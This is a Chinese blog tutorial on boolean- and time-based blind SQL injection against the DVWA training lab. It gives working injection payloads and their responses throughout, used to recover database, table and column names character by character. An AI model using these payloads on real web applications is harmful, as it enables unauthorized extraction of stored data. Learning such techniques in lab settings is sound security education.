web安全学习之基于dvwa的SQL Injection (Blind)盲注--思路篇

1.什么是盲注?

盲注的本质是猜解,所谓 “盲” 就是在你看不到返回数据的情况下能通过 “感觉” 来判断。
SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

2.基于布尔SQL盲注----------构造逻辑判断

在进行盲注学习之前,你首先要知道的是盲注的基本原理
手工盲注的过程,就像你与一个机器人聊天,这个机器人知道的很多,但只会回答“是”或者“不是”,因此你需要询问它这样的问题,例如“数据库名字的第一个字母是不是a啊?”,通过这种机械的询问,最终获得你想要的数据。

(1)and 0 的短路特性

mysql> select * from bsqli where id = 1 and 1 and sleep(1);
Empty set (1.00 sec)

mysql> select * from bsqli where id = 1 and 0 and sleep(1);
Empty set (0.00 sec)

这个怎么看,实际上 一个 and 连接的是两个集合,and 表示取集合的交集,我么知道0 和任何集合的交集都是 0 ,那么系统就不会继续向下执行 sleep(),那么为什么第一条语句没有返回任何东西呢?因为 id =1 的结果和 sleep(1) 的交集为空集。

(2)or 1 的短路特性

mysql> select * from bsqli where id = 1 or 1 or sleep(1);
+----+--------+----------+
| id | name   | password |
+----+--------+----------+
|  1 | K0rz3n | 123456   |
|  2 | L_Team | 234567   |
+----+--------+----------+
2 rows in set (0.00 sec)

mysql> select * from bsqli where id = 1 or 0 or sleep(1);
+----+--------+----------+
| id | name   | password |
+----+--------+----------+
|  1 | K0rz3n | 123456   |
+----+--------+----------+
1 row in set (1.00 sec)

和上面类似 or 取得是两个集合的并集,系统检测到 or 1 的时候就不会继续检测,所以 sleep() 也就不会运行。

参考文章

3.三大法宝函数

三大法宝:mid(), substr(), left()

mid()函数

此函数为截取字符串一部分。MID(column_name,start[,length])
web安全学习之基于dvwa的SQL Injection (Blind)盲注--思路篇_第1张图片
Eg: str=“123456” mid(str,2,1) 结果为2

Sql用例:

(1)MID(DATABASE(),1,1)>’a’,查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。

(2)MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处column_name参数可以为sql语句,可自行构造sql语句进行注入。

substr()函数

Substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string, start, length)

string substr(string, start, length)

参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。

Sql用例:

(1) substr(DATABASE(),1,1)>’a’,查看数据库名第一位,substr(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。

(2) substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE T table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处string参数可以为sql语句,可自行构造sql语句进行注入。

Left()函数

Left()得到字符串左部指定个数的字符

Left ( string, n ) string为要截取的字符串,n为长度。

Sql用例:

(1) left(database(),1)>’a’,查看数据库名第一位,left(database(),2)>’ab’,查看数据库名前二位。

(2) 同样的string可以为自行构造的sql语句。

4.SQL盲注思路

1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据

5.实战
参考文章
Low Security Level:

 0 ) {
        // Feedback for end user
        echo '
User ID exists in the database.
'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '
User ID is MISSING from the database.
'; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

payload:

1

1'

1' or 1=1#

1' or 1=2#

判断为盲注之后,进行数据库猜解:

1' and length(database())=4 #

或者

输入1' and length(database())=1#,显示User ID is MISSING from the database. 
输入1' and length(database())=2#,显示User ID is MISSING from the database. 
输入1' and length(database())=3#,显示User ID is MISSING from the database. 
输入1' and length(database())=4#,显示User ID exists in the database. 
说明数据库名长度为4. 
数据库名: 
输入1' and ascii(substr(database(),1,1))>97#,显示User ID exists in the database.,说明第一个字符的ascii值大于97(a) 
输入1' and ascii(substr(database(),1,1))<122#,显示User ID exists in the database.,说明第一个字符的ascii值小于122(z) 
输入1' and ascii(substr(database(),1,1))<110#,显示User ID exists in the database.,说明第一个字符的ascii值小于110(n) 
输入1' and ascii(substr(database(),1,1))<104#,显示User ID exists in the database.,说明第一个字符的ascii值小于104(h) 
输入1' and ascii(substr(database(),1,1))<100#,显示User ID is MISSING from the database. 
,说明第一个字符的ascii值不小于100(d) 
输入1' and ascii(substr(database(),1,1))>100#,显示User ID is MISSING from the database. 
,说明第一个字符的ascii值不大于100(d) 
输入1' and ascii(substr(database(),1,1))=100#,显示User ID exists in the database. 
,说明第一个字符的ascii值等于100(d) 
根据上述二分法最终得到数据库名为dvwa。 
其他数据可同样根据上述方法进行得到。

参考文章
如此类推:
1.猜数据库名

1' and ascii(substr(database(),1,1))>97# 页面返回存在

2.猜表名

1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在

1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显示存在

得知有 2 个表,继续使用length()函数来猜测表的长度

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在(解释一下limit:LIMIT后的第一个参数是输出记录的初始位置,第二个参数偏移量,偏移多少,输出的条目就是多少。)
......
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在

说明第一个表名长度为 9
关于limit的解释

继续猜表的名称

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
   (select table_name from information_schema.tables where table_schema=database() limit 0,1)
    表示取第一个table_name 作为string
    substr(string,1,1) 表示取第一个字母
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
   .
   .
   .
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在

说明第一个表的名字的第一个字符为小写字母g。
重复上述步骤,即可猜解出两个表名guestbook、users。

猜解表中的字段名

  • 首先猜解表中字段的数量:
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 显示不存在

…

1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 # 显示存在

说明users表有 8 个字段

  • 接着挨个猜解字段名:
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1 # 显示不存在

…

1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 显示存在

说明users表的第一个字段为 7 个字符长度。

采用二分法,即可猜解出所有字段名。

还可以使用基于时间的盲注:

1.判断是否存在注入,注入是字符型还是数字型

1' and sleep(5) #感觉到明显延迟;
1 and sleep(5) #没有延迟;

说明存在字符型的基于时间的盲注。(这里注意要加上#符号)

2.猜解当前数据库名
首先猜解数据名的长度:

1' and if(length(database())=1,sleep(5),1) # 没有延迟

1' and if(length(database())=2,sleep(5),1) # 没有延迟

1' and if(length(database())=3,sleep(5),1) # 没有延迟

1' and if(length(database())=4,sleep(5),1) # 明显延迟

说明数据库名长度为 4 个字符。
这里补充解释一下MySQL的if语句:
if(expr1,expr2,expr3)
如果 expr1 是TRUE,则 if()的返回值为expr2; 否则返回值则为 expr3。if() 的返回值为数字值或字符串值,具体情况视其所在语境而定。

接着采用二分法猜解数据库名:

1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟

…

1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟

1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟

说明数据库名的第一个字符为小写字母d。
重复上述步骤,即可猜解出数据库名。

3.猜解数据库中的表名

首先猜解数据库中表的数量:

1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟

1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟

说明数据库中有两个表。

接着挨个猜解表名:

1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟

…

1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟

说明第一个表名的长度为 9 个字符。

采用二分法即可猜解出表名。

4.猜解表中的字段名

首先猜解表中字段的数量:

1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟

…

1' and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟

说明users表中有 8 个字段。

接着挨个猜解字段名:

1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟

…

1' and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟

说明users表的第一个字段长度为 7 个字符。

采用二分法即可猜解出各个字段名。

5.猜解数据
同样采用二分法。

你可能感兴趣的:(web安全学习,#,sql注入,dvwa,sql盲注,sql)